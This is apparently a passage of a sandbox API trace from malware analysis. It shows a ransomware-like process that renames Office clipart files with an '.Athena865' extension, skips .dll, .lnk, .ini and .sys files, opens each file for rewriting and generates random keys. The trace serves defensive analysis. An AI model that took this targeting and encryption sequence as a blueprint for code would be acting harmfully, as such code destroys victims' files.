Office\\CLIPART\\PUB60COR\\BS00145_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.364] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1712) returned 1 [0122.364] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.365] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.365] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.365] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.365] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.365] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.369] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.369] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.369] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.370] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS00174_.WMF" | out: lpString1="BS00174_.WMF") returned="BS00174_.WMF" [0122.370] lstrlenW (lpString="BS00174_.WMF") returned 12 [0122.370] lstrlenW (lpString="Athena865") returned 9 [0122.370] lstrcmpiW (lpString1="0174_.WMF", lpString2="Athena865") returned -1 [0122.370] lstrlenW (lpString=".dll") returned 4 [0122.370] lstrcmpiW (lpString1="BS00174_.WMF", lpString2=".dll") returned 1 [0122.370] lstrlenW (lpString=".lnk") returned 4 [0122.370] lstrcmpiW (lpString1="BS00174_.WMF", lpString2=".lnk") returned 1 [0122.370] lstrlenW (lpString=".ini") returned 4 [0122.370] lstrcmpiW (lpString1="BS00174_.WMF", lpString2=".ini") returned 1 [0122.370] lstrlenW (lpString=".sys") returned 4 [0122.370] lstrcmpiW (lpString1="BS00174_.WMF", lpString2=".sys") returned 1 [0122.370] lstrlenW (lpString="BS00174_.WMF") returned 12 [0122.370] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.Athena865") returned 73 [0122.370] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.371] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8366) returned 1 [0122.371] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.372] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.372] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.372] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.376] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.377] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.377] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.378] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS00184_.WMF" | out: lpString1="BS00184_.WMF") returned="BS00184_.WMF" [0122.378] lstrlenW (lpString="BS00184_.WMF") returned 12 [0122.378] lstrlenW (lpString="Athena865") returned 9 [0122.378] lstrcmpiW (lpString1="0184_.WMF", lpString2="Athena865") returned -1 [0122.378] lstrlenW (lpString=".dll") returned 4 [0122.378] lstrcmpiW (lpString1="BS00184_.WMF", lpString2=".dll") returned 1 [0122.378] lstrlenW (lpString=".lnk") returned 4 [0122.378] lstrcmpiW (lpString1="BS00184_.WMF", lpString2=".lnk") returned 1 [0122.378] lstrlenW (lpString=".ini") returned 4 [0122.378] lstrcmpiW (lpString1="BS00184_.WMF", lpString2=".ini") returned 1 [0122.378] lstrlenW (lpString=".sys") returned 4 [0122.378] lstrcmpiW (lpString1="BS00184_.WMF", lpString2=".sys") returned 1 [0122.378] lstrlenW (lpString="BS00184_.WMF") returned 12 [0122.378] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.Athena865") returned 73 [0122.378] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.379] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4976) returned 1 [0122.380] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.380] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.380] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.380] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.380] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.380] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.385] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.386] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.386] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.387] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS00186_.WMF" | out: lpString1="BS00186_.WMF") returned="BS00186_.WMF" [0122.387] lstrlenW (lpString="BS00186_.WMF") returned 12 [0122.387] lstrlenW (lpString="Athena865") returned 9 [0122.387] lstrcmpiW (lpString1="0186_.WMF", lpString2="Athena865") returned -1 [0122.387] lstrlenW (lpString=".dll") returned 4 [0122.387] lstrcmpiW (lpString1="BS00186_.WMF", lpString2=".dll") returned 1 [0122.387] lstrlenW (lpString=".lnk") returned 4 [0122.387] lstrcmpiW (lpString1="BS00186_.WMF", lpString2=".lnk") returned 1 [0122.387] lstrlenW (lpString=".ini") returned 4 [0122.387] lstrcmpiW (lpString1="BS00186_.WMF", lpString2=".ini") returned 1 [0122.387] lstrlenW (lpString=".sys") returned 4 [0122.387] lstrcmpiW (lpString1="BS00186_.WMF", lpString2=".sys") returned 1 [0122.387] lstrlenW (lpString="BS00186_.WMF") returned 12 [0122.387] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.Athena865") returned 73 [0122.387] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.398] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12788) returned 1 [0122.398] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.398] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.398] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.398] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.399] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.399] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.402] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.403] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.403] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.404] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS00200_.WMF" | out: lpString1="BS00200_.WMF") returned="BS00200_.WMF" [0122.404] lstrlenW (lpString="BS00200_.WMF") returned 12 [0122.404] lstrlenW (lpString="Athena865") returned 9 [0122.404] lstrcmpiW (lpString1="0200_.WMF", lpString2="Athena865") returned -1 [0122.404] lstrlenW (lpString=".dll") returned 4 [0122.404] lstrcmpiW (lpString1="BS00200_.WMF", lpString2=".dll") returned 1 [0122.404] lstrlenW (lpString=".lnk") returned 4 [0122.404] lstrcmpiW (lpString1="BS00200_.WMF", lpString2=".lnk") returned 1 [0122.404] lstrlenW (lpString=".ini") returned 4 [0122.404] lstrcmpiW (lpString1="BS00200_.WMF", lpString2=".ini") returned 1 [0122.404] lstrlenW (lpString=".sys") returned 4 [0122.404] lstrcmpiW (lpString1="BS00200_.WMF", lpString2=".sys") returned 1 [0122.404] lstrlenW (lpString="BS00200_.WMF") returned 12 [0122.404] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.Athena865") returned 73 [0122.404] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.405] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3104) returned 1 [0122.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.406] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.406] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.406] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.409] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.409] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.409] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.410] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS00224_.WMF" | out: lpString1="BS00224_.WMF") returned="BS00224_.WMF" [0122.410] lstrlenW (lpString="BS00224_.WMF") returned 12 [0122.410] lstrlenW (lpString="Athena865") returned 9 [0122.410] lstrcmpiW (lpString1="0224_.WMF", lpString2="Athena865") returned -1 [0122.410] lstrlenW (lpString=".dll") returned 4 [0122.410] lstrcmpiW (lpString1="BS00224_.WMF", lpString2=".dll") returned 1 [0122.410] lstrlenW (lpString=".lnk") returned 4 [0122.410] lstrcmpiW (lpString1="BS00224_.WMF", lpString2=".lnk") returned 1 [0122.410] lstrlenW (lpString=".ini") returned 4 [0122.410] lstrcmpiW (lpString1="BS00224_.WMF", lpString2=".ini") returned 1 [0122.410] lstrlenW (lpString=".sys") returned 4 [0122.410] lstrcmpiW (lpString1="BS00224_.WMF", lpString2=".sys") returned 1 [0122.410] lstrlenW (lpString="BS00224_.WMF") returned 12 [0122.410] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.Athena865") returned 73 [0122.410] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.411] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1588) returned 1 [0122.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.412] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.412] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.412] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.416] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.416] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.416] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.417] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS00438_.WMF" | out: lpString1="BS00438_.WMF") returned="BS00438_.WMF" [0122.417] lstrlenW (lpString="BS00438_.WMF") returned 12 [0122.417] lstrlenW (lpString="Athena865") returned 9 [0122.417] lstrcmpiW (lpString1="0438_.WMF", lpString2="Athena865") returned -1 [0122.417] lstrlenW (lpString=".dll") returned 4 [0122.417] lstrcmpiW (lpString1="BS00438_.WMF", lpString2=".dll") returned 1 [0122.417] lstrlenW (lpString=".lnk") returned 4 [0122.417] lstrcmpiW (lpString1="BS00438_.WMF", lpString2=".lnk") returned 1 [0122.417] lstrlenW (lpString=".ini") returned 4 [0122.417] lstrcmpiW (lpString1="BS00438_.WMF", lpString2=".ini") returned 1 [0122.417] lstrlenW (lpString=".sys") returned 4 [0122.417] lstrcmpiW (lpString1="BS00438_.WMF", lpString2=".sys") returned 1 [0122.417] lstrlenW (lpString="BS00438_.WMF") returned 12 [0122.417] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.Athena865") returned 73 [0122.417] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.418] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1212) returned 1 [0122.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.419] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.419] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.419] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.423] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.424] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.424] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.424] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS00439_.WMF" | out: lpString1="BS00439_.WMF") returned="BS00439_.WMF" [0122.424] lstrlenW (lpString="BS00439_.WMF") returned 12 [0122.424] lstrlenW (lpString="Athena865") returned 9 [0122.424] lstrcmpiW (lpString1="0439_.WMF", lpString2="Athena865") returned -1 [0122.424] lstrlenW (lpString=".dll") returned 4 [0122.424] lstrcmpiW (lpString1="BS00439_.WMF", lpString2=".dll") returned 1 [0122.424] lstrlenW (lpString=".lnk") returned 4 [0122.424] lstrcmpiW (lpString1="BS00439_.WMF", lpString2=".lnk") returned 1 [0122.424] lstrlenW (lpString=".ini") returned 4 [0122.424] lstrcmpiW (lpString1="BS00439_.WMF", lpString2=".ini") returned 1 [0122.424] lstrlenW (lpString=".sys") returned 4 [0122.424] lstrcmpiW (lpString1="BS00439_.WMF", lpString2=".sys") returned 1 [0122.424] lstrlenW (lpString="BS00439_.WMF") returned 12 [0122.424] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.Athena865") returned 73 [0122.425] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.426] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2052) returned 1 [0122.426] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.427] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.427] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.427] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.427] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.427] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.430] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.432] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.432] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.433] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS00440_.WMF" | out: lpString1="BS00440_.WMF") returned="BS00440_.WMF" [0122.433] lstrlenW (lpString="BS00440_.WMF") returned 12 [0122.433] lstrlenW (lpString="Athena865") returned 9 [0122.433] lstrcmpiW (lpString1="0440_.WMF", lpString2="Athena865") returned -1 [0122.433] lstrlenW (lpString=".dll") returned 4 [0122.433] lstrcmpiW (lpString1="BS00440_.WMF", lpString2=".dll") returned 1 [0122.433] lstrlenW (lpString=".lnk") returned 4 [0122.433] lstrcmpiW (lpString1="BS00440_.WMF", lpString2=".lnk") returned 1 [0122.433] lstrlenW (lpString=".ini") returned 4 [0122.433] lstrcmpiW (lpString1="BS00440_.WMF", lpString2=".ini") returned 1 [0122.433] lstrlenW (lpString=".sys") returned 4 [0122.433] lstrcmpiW (lpString1="BS00440_.WMF", lpString2=".sys") returned 1 [0122.433] lstrlenW (lpString="BS00440_.WMF") returned 12 [0122.433] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.Athena865") returned 73 [0122.434] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.434] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5580) returned 1 [0122.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.435] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.435] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.436] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.438] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.438] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.438] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.439] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS00441_.WMF" | out: lpString1="BS00441_.WMF") returned="BS00441_.WMF" [0122.439] lstrlenW (lpString="BS00441_.WMF") returned 12 [0122.439] lstrlenW (lpString="Athena865") returned 9 [0122.439] lstrcmpiW (lpString1="0441_.WMF", lpString2="Athena865") returned -1 [0122.439] lstrlenW (lpString=".dll") returned 4 [0122.439] lstrcmpiW (lpString1="BS00441_.WMF", lpString2=".dll") returned 1 [0122.439] lstrlenW (lpString=".lnk") returned 4 [0122.439] lstrcmpiW (lpString1="BS00441_.WMF", lpString2=".lnk") returned 1 [0122.439] lstrlenW (lpString=".ini") returned 4 [0122.439] lstrcmpiW (lpString1="BS00441_.WMF", lpString2=".ini") returned 1 [0122.439] lstrlenW (lpString=".sys") returned 4 [0122.439] lstrcmpiW (lpString1="BS00441_.WMF", 